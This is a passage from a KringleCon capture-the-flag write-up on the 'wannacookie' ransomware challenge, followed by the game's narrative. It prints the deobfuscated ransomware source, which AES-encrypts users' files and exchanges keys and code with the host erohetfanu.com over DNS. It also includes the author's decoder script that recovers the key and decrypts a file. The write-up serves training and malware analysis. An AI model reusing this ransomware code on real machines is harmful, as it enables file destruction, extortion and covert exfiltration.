   $d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
   [array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env
:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:us
erprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where {
      ! $_.PSIsContainer
   } | Foreach-Object {
      $_.Fullname
   })

   e_n_d $b_k $f_c $true
   Clear-variable -Name "h_k"
   Clear-variable -Name "b_k"
   $lurl = 'http://127.0.0.1:8080/'

   $html_c = @{
      'GET /'  =  $(g_o_dns (A2H "source.min.html"))
      'GET /close'  =  '<p>Bye!</p>'
   }

   Start-Job -ScriptBlock{
```

```
    param($url)
    Start-Sleep 10
    Add-type -AssemblyName System.Windows.Forms
    start-process "$url" -WindowStyle Maximized
    Start-sleep 2
    [System.Windows.Forms.SendKeys]::SendWait("{
      F11
    }")
  } -Arg $lurl

  $list = New-Object System.Net.HttpListener
  $list.Prefixes.Add($lurl)
  $list.Start()

  try {
    $close = $false

    while ($list.IsListening) {
      $context = $list.GetContext()
      $Req = $context.Request
      $Resp = $context.Response

      $recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath

      if ($recvd -eq 'GET /') {
        $html = $html_c[$recvd]
      } elseif ($recvd -eq 'GET /decrypt') {
        $akey = $Req.QueryString.Item("key")

        if ($k_h -eq $(sh1 $akey)) {
          $akey = $(H2B $akey)
          [array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie |
where {
            ! $_.PSIsContainer
          } | Foreach-Object {
            $_.Fullname
          })

          e_n_d $akey $f_c $false
          $html = "Files have been decrypted!"
          $close = $true
        } else {
          $html = "Invalid Key!"
        }
      } elseif ($recvd -eq 'GET /close') {
        $close = $true
        $html = $html_c[$recvd]
      } elseif ($recvd -eq 'GET /cookie_is_paid') {
```

```
            $c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("
$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings
            if ( $c_n_k.length -eq 32 ) {
               $html = $c_n_k
            } else {
               $html = "UNPAID|$c_id|$d_t"
            }
         } else {
            $Resp.statuscode = 404
            $html = '<h1>404 Not Found</h1>'
         }

         $buffer = [Text.Encoding]::UTF8.GetBytes($html)
         $Resp.ContentLength64 = $buffer.length
         $Resp.OutputStream.Write($buffer, 0, $buffer.length)
         $Resp.Close()

         if ($close) {
            $list.Stop()
            return
         }
      }
   } finally {
      $list.Stop()
   }
}
wanc
```

Appendix B: Malware decoder script

decoder.ps1

```
function e_d_file($key, $File, $enc_it) {
    [byte[]]$key = $key

    $Suffix = "`.wannacookie"
    [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
    [System.Int32]$KeySize = $key.Length*8
    $AESP = New-Object 'System.Security.Cryptography.AesManaged'
    $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $AESP.BlockSize = 128
    $AESP.KeySize = $KeySize
    $AESP.Key = $key
    $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)

    if ($enc_it) {
        $DestFile = $File + $Suffix
    } else {
        $DestFile = ($File -replace $Suffix)
    }

    $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)

    if ($enc_it) {
        $AESP.GenerateIV()
        $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4)
        $FileSW.Write($AESP.IV, 0, $AESP.IV.Length)
        $Transform = $AESP.CreateEncryptor()
    } else {
        [Byte[]]$LenIV = New-Object Byte[] 4
        $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
        $FileSR.Read($LenIV,  0, 3) | Out-Null
        [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0)
        [Byte[]]$IV = New-Object Byte[] $LIV
        $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
        $FileSR.Read($IV, 0, $LIV) | Out-Null
        $AESP.IV = $IV
        $Transform = $AESP.CreateDecryptor()
    }

    $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform,
[System.Security.Cryptography.CryptoStreamMode]::Write)
    [Int]$Count = 0
    [Int]$BlockSzBts = $AESP.BlockSize / 8
    [Byte[]]$Data = New-Object Byte[] $BlockSzBts
```

```
    Do {
        $Count = $FileSR.Read($Data, 0, $BlockSzBts)
        $CryptoS.Write($Data, 0, $Count)
    } While ($Count -gt 0)
        $CryptoS.FlushFinalBlock()
        $CryptoS.Close()
        $FileSR.Close()
        $FileSW.Close()
        Clear-variable -Name "key"
        Remove-Item $File
    }

function H2B {
    param($HX)

    $HX = $HX -split '(..)' | ? {
        $_
    }

    ForEach ($value in $HX){
        [Convert]::ToInt32($value,16)
    }
}

function A2H(){
    Param($a)
    $c = ''
    $b = $a.ToCharArray()

    Foreach ($element in $b) {
        $c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
    }
    return $c -replace ' '
}

function H2A() {
    Param($a)
    $outa
    $a -split '(..)' | ? {
        $_
    } | forEach {
        [char]([convert]::toint16($_,16))
    } | forEach {
        $outa = $outa + $_
    }

    return $outa
```

```
}

function B2H {
   param($DEC)
   $tmp = ''

   ForEach ($value in $DEC){
      $a = "{0:x}" -f [Int]$value

      if ($a.length -eq 1){
         $tmp += '0' + $a
      } else {
      $tmp += $a
      }
   }
   return $tmp
}

function ti_rox {
   param($b1, $b2)
   $b1 = $(H2B $b1)
   $b2 = $(H2B $b2)
   $cont = New-Object Byte[] $b1.count

   if ($b1.count -eq $b2.count) {
      for($i=0; $i -lt $b1.count; $i++) {
         $cont[$i] = $b1[$i] -bxor $b2[$i]
      }
   }
   return $cont
}

function B2G {
   param([byte[]]$Data)
   Process {
      $out = [System.IO.MemoryStream]::new()
      $gStream = New-Object System.IO.Compression.Gz  ipStream $out,
([IO.Compression.CompressionMode]::Compress)
      $gStream.Write($Data, 0, $Data.Length)
      $gStream.Close()
      return $out.ToArray()
   }
}

function G2B {
   param([byte[]]$Data)
   Process {
      $SrcData = New-Object System.IO.MemoryStream( , $Data )
```

```
        $output = New-Object System.IO.MemoryStream
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData,
([IO.Compression.CompressionMode]::Decompress)
        $gStream.CopyTo( $output )
        $gStream.Close()
        $SrcData.Close()
        [byte[]] $byteArr = $output.ToArray()
        return $byteArr
    }
}

function sh1([String] $String) {
    $SB = New-Object System.Text.StringBuilder
    [System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash
([System.Text.Encoding]::UTF8.GetBytes($String))|%{
        [Void]$SB.Append($_.ToString("x2"))
    }
    $SB.ToString()
}

function p_k_e($key_bytes, [byte[]]$pub_bytes){
    $cert = New-Object -TypeName
System.Security.Cryptography.X509Certificates.X509Certificate2
    $cert.Import($pub_bytes)
    $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true)
    return $(B2H $encKey)
}

function e_n_d {
    param($key, $allfiles, $make_cookie )
    $tcount = 12

    for ( $file=0; $file -lt $allfiles.length; $file++  ) {
        while ($true) {
            $running = @(Get-Job | Where-Object {
                $_.State -eq 'Running'
            })

            if ($running.Count -le $tcount) {
                Start-Job  -ScriptBlock {
                    param($key, $File, $true_false)

                    try{
                        e_d_file $key $File $true_false
                    } catch {
                        $_.Exception.Message | Out-String | Out-File $($env:userprofile+
'\Desktop\ps_log.txt') -append
                    }
```

```
            } -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions
            break
          } else {
            Start-Sleep -m 200
            continue
          }
        }
    }
}

function g_o_dns($f) {
    $h = ''

    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "
$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT
).Strings
    }

    return (H2A $h)
}

function s_2_c($astring, $size=32) {
    $new_arr = @()
    $chunk_index=0

    foreach($i in 1..$($astring.length / $size)) {
        $new_arr += @($astring.substring($chunk_index,$size))
        $chunk_index += $size
    }
    return $new_arr
}

function snd_k($enc_k) {
    $chunks = (s_2_c $enc_k )

    foreach ($j in $chunks) {
        if ($chunks.IndexOf($j) -eq 0) {
            $n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "
$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        } else {
            $(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.
$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        }
    }

    return $n_c_id
}
```

```
#
# Reedphish decoder
#

# Step 1: Hunt for keys already present in the source code
$malware_keys = @(
   "6B6579666F72626F746964",
   "6B696C6C737769746368",
   "7365727665722E637274",
   "72616e736f6d697370616964"
)

foreach ($key in $malware_keys) {
   Write-Host "[HEX => ASCII]: " $key " => " $(H2A $key)
}

# Step 2: Extract "server.crt" file

Write-Host ""
Write-Host "Fetching server.crt"
$servercrt = "-----BEGIN CERTIFICATE-----`n"
$servercrt += $(g_o_dns("7365727665722E637274"))
$servercrt += "`n-----END CERTIFICATE-----"
Write-Output $servercrt |Out-File -filepath "C:\Kringlecon\ELF Forensics\server.crt"
Write-Host $servercrt

# Step 3: Finding server.key

$serverkeystring = $(A2H "server.key")
Write-Host ""
Write-Host "Fetching server.key"
$serverkey =  $(g_o_dns($serverkeystring))
Write-Output $serverkey |Out-File -filepath "C:\Kringlecon\ELF Forensics\server.key"
Write-Host $serverkey

# Step 4: Analyzing

$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274")) ) )
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char
]01..[char]255)) + 0..9 | sort {
   Get-Random
})[0..15] -join ''))  | ? {
   $_ -ne 0x00
})

$h_k = $(B2H $b_k)
```

```
$k_h = $(sh1 $h_k)
$p_k_e_k = (p_k_e $b_k $p_k).ToString()

Write-Host "H_K value: " $h_k
Write-Host "B_K value: " $b_k
Write-host "P_K_E_K value:"
Write-Host $p_k_e_k
$pkekstr = [string] $p_k_e_k
Write-Host "P_K_E_K size in memory: " $pkekstr.Length

# Step 5: Decrypting (taking basis in p_k_e function
function pkdec($encstring){
   $cert = New-Object -TypeName
System.Security.Cryptography.X509Certificates.X509Certificate2("C:\Kringlecon\ELF
Forensics\server.pfx", "jallafisk")
   $decrypted = $cert.PrivateKey.Decrypt($encstring,
[System.Security.Cryptography.RSAEncryptionPadding]::OaepSHA1)
   return $decrypted
}

# Payload is chunk from dump with size 512
$payload =
"3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc4
4b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2
df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf0197
89950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e
6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861
678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a84
79cf911d7d47681a77152563906a2c29c6d12f971"

$enc = $(H2B $payload)
$thekey = $(pkdec $enc)
Write-Host $thekey

$(e_d_file $thekey "C:\Kringlecon\ELF Forensics\alabaster_passwords.elfdb.wannacookie"
$false)
```

Appendix C: The Narrative

Completing everything gives you a narrative.

Narrative

As you walk through the gates, a familiar red-suited holiday figure warmly welcomes all of his special visitors to KringleCon.

Suddenly, all elves in the castle start looking very nervous. You can overhear some of them talking with worry in their voices.

The toy soldiers, who were always gruff, now seem especially determined as they lock all the exterior entrances to the building and barricade all the doors. No one can get out! And the toy soldiers' grunts take on an increasingly sinister tone.

The toy soldiers act even more aggressively. They are searching for something — something very special inside of Santa's castle — and they will stop at NOTHING until they find it. Hans seems to be directing their activities.

In the main lobby on the bottom floor of Santa's castle, Hans calls everyone around to deliver a speech. Make sure you visit Hans to hear his speech.

The toy soldiers continue behaving very rudely, grunting orders to the guests and to each other in vaguely Germanic phrases. Suddenly, one of the toy soldiers appears wearing a grey sweatshirt that has written on it in red pen, "NOW I HAVE A ZERO-DAY. HO-HO-HO."

A rumor spreads among the elves that Alabaster has lost his badge. Several elves say, "What do you think someone could do with that?"

Hans has started monologuing again. Please visit him in Santa's lobby for a status update.

Great work! You have blocked access to Santa's treasure… for now. Please visit Hans in Santa's Secret Room for an update.

And then suddenly, Hans slips and falls into a snowbank. His nefarious plan thwarted, he's now just cold and wet.

But Santa still has more questions for you to solve!

Congrats! You have solved the hardest challenge! Please visit Santa and Hans inside Santa's Secret Room for an update on your amazing accomplishment!